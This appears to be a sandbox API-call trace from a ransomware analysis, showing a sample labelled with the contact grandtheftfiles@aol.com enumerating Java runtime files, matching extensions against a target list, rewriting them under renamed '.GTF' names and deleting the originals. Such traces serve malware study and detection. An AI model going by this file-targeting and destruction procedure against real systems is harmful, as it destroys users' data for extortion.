	[0156.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar")) returned 0x20
	[0156.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0156.860] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0
	[0156.860] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0156.860] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0156.860] lstrlenW (lpString=".doc") returned 4
	[0156.860] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0156.860] lstrlenW (lpString=".docx") returned 5
	[0156.860] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1
	[0156.860] lstrlenW (lpString=".pdf") returned 4
	[0156.860] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0156.860] lstrlenW (lpString=".xls") returned 4
	[0156.860] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0156.860] lstrlenW (lpString=".xlsx") returned 5
	[0156.860] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1
	[0156.860] lstrlenW (lpString=".ppt") returned 4
	[0156.860] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0156.860] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0156.860] lstrlenW (lpString=".zip") returned 4
	[0156.860] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0156.860] lstrlenW (lpString=".rar") returned 4
	[0156.860] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0156.860] lstrlenW (lpString=".bz2") returned 4
	[0156.860] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0156.860] lstrlenW (lpString=".7z") returned 3
	[0156.860] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0156.860] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0156.860] lstrlenW (lpString=".dbf") returned 4
	[0156.860] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0156.860] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0156.860] lstrlenW (lpString=".1cd") returned 4
	[0156.860] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0156.861] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0156.861] lstrlenW (lpString=".jpg") returned 4
	[0156.861] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0156.861] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0156.861] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0156.861] lstrlenW (lpString=".doc") returned 4
	[0156.861] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0156.861] lstrlenW (lpString=".docx") returned 5
	[0156.861] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1
	[0156.861] lstrlenW (lpString=".pdf") returned 4
	[0156.861] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0156.861] lstrlenW (lpString=".xls") returned 4
	[0156.861] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0156.861] lstrlenW (lpString=".xlsx") returned 5
	[0156.861] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1
	[0156.861] lstrlenW (lpString=".ppt") returned 4
	[0156.861] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0156.861] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0156.861] lstrlenW (lpString=".zip") returned 4
	[0156.861] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0156.861] lstrlenW (lpString=".rar") returned 4
	[0156.861] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0156.861] lstrlenW (lpString=".bz2") returned 4
	[0156.861] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0156.861] lstrlenW (lpString=".7z") returned 3
	[0156.861] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0156.861] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0156.861] lstrlenW (lpString=".dbf") returned 4
	[0156.861] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0156.861] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0156.861] lstrlenW (lpString=".1cd") returned 4
	[0156.861] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0156.861] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0156.861] lstrlenW (lpString=".jpg") returned 4
	[0156.861] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0156.862] lstrcmpiW (lpString1=".jar", lpString2=".GTF") returned 1
	[0156.862] lstrlenW (lpString="localedata.jar") returned 14
	[0156.862] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0
	[0157.090] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=2204781) returned 1
	[0157.090] CloseHandle (hObject=0x4c0) returned 1
	[0157.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar")) returned 0x20
	[0157.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0157.090] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0
	[0157.111] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57
	[0157.112] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57
	[0157.112] lstrlenW (lpString=".doc") returned 4
	[0157.112] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0157.112] lstrlenW (lpString=".docx") returned 5
	[0157.112] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1
	[0157.112] lstrlenW (lpString=".pdf") returned 4
	[0157.112] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0157.112] lstrlenW (lpString=".xls") returned 4
	[0157.112] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0157.115] lstrlenW (lpString=".xlsx") returned 5
	[0157.128] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1
	[0157.128] lstrlenW (lpString=".ppt") returned 4
	[0157.128] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0157.128] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57
	[0157.128] lstrlenW (lpString=".zip") returned 4
	[0157.128] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0157.128] lstrlenW (lpString=".rar") returned 4
	[0157.128] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0157.128] lstrlenW (lpString=".bz2") returned 4
	[0157.128] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0157.128] lstrlenW (lpString=".7z") returned 3
	[0157.128] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0157.128] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57
	[0157.128] lstrlenW (lpString=".dbf") returned 4
	[0157.129] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0157.129] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57
	[0157.129] lstrlenW (lpString=".1cd") returned 4
	[0157.129] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0157.129] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57
	[0157.129] lstrlenW (lpString=".jpg") returned 4
	[0157.129] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0157.129] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57
	[0157.129] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57
	[0157.129] lstrlenW (lpString=".doc") returned 4
	[0157.129] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0157.130] lstrlenW (lpString=".docx") returned 5
	[0157.130] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1
	[0157.130] lstrlenW (lpString=".pdf") returned 4
	[0157.130] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0157.130] lstrlenW (lpString=".xls") returned 4
	[0157.130] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0157.131] lstrlenW (lpString=".xlsx") returned 5
	[0157.131] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1
	[0157.131] lstrlenW (lpString=".ppt") returned 4
	[0157.131] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0157.131] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57
	[0157.131] lstrlenW (lpString=".zip") returned 4
	[0157.131] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0157.131] lstrlenW (lpString=".rar") returned 4
	[0157.131] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0157.131] lstrlenW (lpString=".bz2") returned 4
	[0157.131] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0157.131] lstrlenW (lpString=".7z") returned 3
	[0157.131] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0157.131] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57
	[0157.131] lstrlenW (lpString=".dbf") returned 4
	[0157.131] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0157.131] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57
	[0157.131] lstrlenW (lpString=".1cd") returned 4
	[0157.131] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0157.131] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57
	[0157.131] lstrlenW (lpString=".jpg") returned 4
	[0157.131] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0157.131] lstrcmpiW (lpString1=".jar", lpString2=".GTF") returned 1
	[0157.131] lstrlenW (lpString="sunmscapi.jar") returned 13
	[0157.131] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0
	[0157.132] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=32699) returned 1
	[0157.132] CloseHandle (hObject=0x4c0) returned 1
	[0157.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar")) returned 0x20
	[0157.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0157.132] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0
	[0157.132] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.132] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.132] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4
	[0157.133] GetLastError () returned 0x0
	[0157.133] ReadFile (in: hFile=0x4c0, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x7fbb, lpOverlapped=0x0) returned 1
	[0157.136] WriteFile (in: hFile=0x4c4, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x7fc0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x7fc0, lpOverlapped=0x0) returned 1
	[0157.137] ReadFile (in: hFile=0x4c0, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0157.137] WriteFile (in: hFile=0x4c4, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0xee, lpOverlapped=0x0) returned 1
	[0157.138] SetEndOfFile (hFile=0x4c4) returned 1
	[0157.138] CloseHandle (hObject=0x4c4) returned 1
	[0157.138] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.138] SetEndOfFile (hFile=0x4c0) returned 1
	[0157.141] CloseHandle (hObject=0x4c0) returned 1
	[0157.141] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0157.142] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar")) returned 1
	[0157.142] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0157.142] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0157.142] lstrlenW (lpString=".doc") returned 4
	[0157.142] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0157.142] lstrlenW (lpString=".docx") returned 5
	[0157.142] lstrcmpiW (lpString1=".docx", lpString2="i.jar") returned -1
	[0157.142] lstrlenW (lpString=".pdf") returned 4
	[0157.142] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0157.142] lstrlenW (lpString=".xls") returned 4
	[0157.142] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0157.142] lstrlenW (lpString=".xlsx") returned 5
	[0157.142] lstrcmpiW (lpString1=".xlsx", lpString2="i.jar") returned -1
	[0157.142] lstrlenW (lpString=".ppt") returned 4
	[0157.142] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0157.142] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0157.142] lstrlenW (lpString=".zip") returned 4
	[0157.142] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0157.142] lstrlenW (lpString=".rar") returned 4
	[0157.142] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0157.143] lstrlenW (lpString=".bz2") returned 4
	[0157.143] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0157.143] lstrlenW (lpString=".7z") returned 3
	[0157.143] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0157.143] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0157.143] lstrlenW (lpString=".dbf") returned 4
	[0157.143] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0157.143] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0157.143] lstrlenW (lpString=".1cd") returned 4
	[0157.143] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0157.143] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0157.143] lstrlenW (lpString=".jpg") returned 4
	[0157.143] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0157.143] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0157.143] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0157.143] lstrlenW (lpString=".doc") returned 4
	[0157.143] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0157.143] lstrlenW (lpString=".docx") returned 5
	[0157.143] lstrcmpiW (lpString1=".docx", lpString2="i.jar") returned -1
	[0157.143] lstrlenW (lpString=".pdf") returned 4
	[0157.143] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0157.143] lstrlenW (lpString=".xls") returned 4
	[0157.143] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0157.143] lstrlenW (lpString=".xlsx") returned 5
	[0157.143] lstrcmpiW (lpString1=".xlsx", lpString2="i.jar") returned -1
	[0157.143] lstrlenW (lpString=".ppt") returned 4
	[0157.143] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0157.143] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0157.143] lstrlenW (lpString=".zip") returned 4
	[0157.143] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0157.143] lstrlenW (lpString=".rar") returned 4
	[0157.143] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0157.143] lstrlenW (lpString=".bz2") returned 4
	[0157.143] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0157.143] lstrlenW (lpString=".7z") returned 3
	[0157.143] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0157.144] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0157.144] lstrlenW (lpString=".dbf") returned 4
	[0157.144] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0157.144] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0157.144] lstrlenW (lpString=".1cd") returned 4
	[0157.144] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0157.144] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0157.144] lstrlenW (lpString=".jpg") returned 4
	[0157.144] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0157.144] lstrcmpiW (lpString1=".jar", lpString2=".GTF") returned 1
	[0157.144] lstrlenW (lpString="sunpkcs11.jar") returned 13
	[0157.144] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0
	[0157.144] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=251327) returned 1
	[0157.144] CloseHandle (hObject=0x4c0) returned 1
	[0157.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar")) returned 0x20
	[0157.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0157.145] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0
	[0157.145] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.145] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.145] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4
	[0157.173] GetLastError () returned 0x0
	[0157.173] ReadFile (in: hFile=0x4c0, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x3d5bf, lpOverlapped=0x0) returned 1
	[0157.184] WriteFile (in: hFile=0x4c4, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x3d5c0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x3d5c0, lpOverlapped=0x0) returned 1
	[0157.189] ReadFile (in: hFile=0x4c0, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0157.189] WriteFile (in: hFile=0x4c4, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0xee, lpOverlapped=0x0) returned 1
	[0157.189] SetEndOfFile (hFile=0x4c4) returned 1
	[0157.189] CloseHandle (hObject=0x4c4) returned 1
	[0157.189] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.189] SetEndOfFile (hFile=0x4c0) returned 1
	[0157.528] CloseHandle (hObject=0x4c0) returned 1
	[0157.528] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0157.529] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar")) returned 1
	[0157.529] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0157.529] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0157.529] lstrlenW (lpString=".doc") returned 4
	[0157.529] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0157.529] lstrlenW (lpString=".docx") returned 5
	[0157.529] lstrcmpiW (lpString1=".docx", lpString2="1.jar") returned -1
	[0157.529] lstrlenW (lpString=".pdf") returned 4
	[0157.529] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0157.529] lstrlenW (lpString=".xls") returned 4
	[0157.529] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0157.529] lstrlenW (lpString=".xlsx") returned 5
	[0157.529] lstrcmpiW (lpString1=".xlsx", lpString2="1.jar") returned -1
	[0157.529] lstrlenW (lpString=".ppt") returned 4
	[0157.529] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0157.529] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0157.529] lstrlenW (lpString=".zip") returned 4
	[0157.529] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0157.529] lstrlenW (lpString=".rar") returned 4
	[0157.530] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0157.530] lstrlenW (lpString=".bz2") returned 4
	[0157.530] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0157.530] lstrlenW (lpString=".7z") returned 3
	[0157.530] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0157.530] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0157.530] lstrlenW (lpString=".dbf") returned 4
	[0157.530] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0157.530] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0157.530] lstrlenW (lpString=".1cd") returned 4
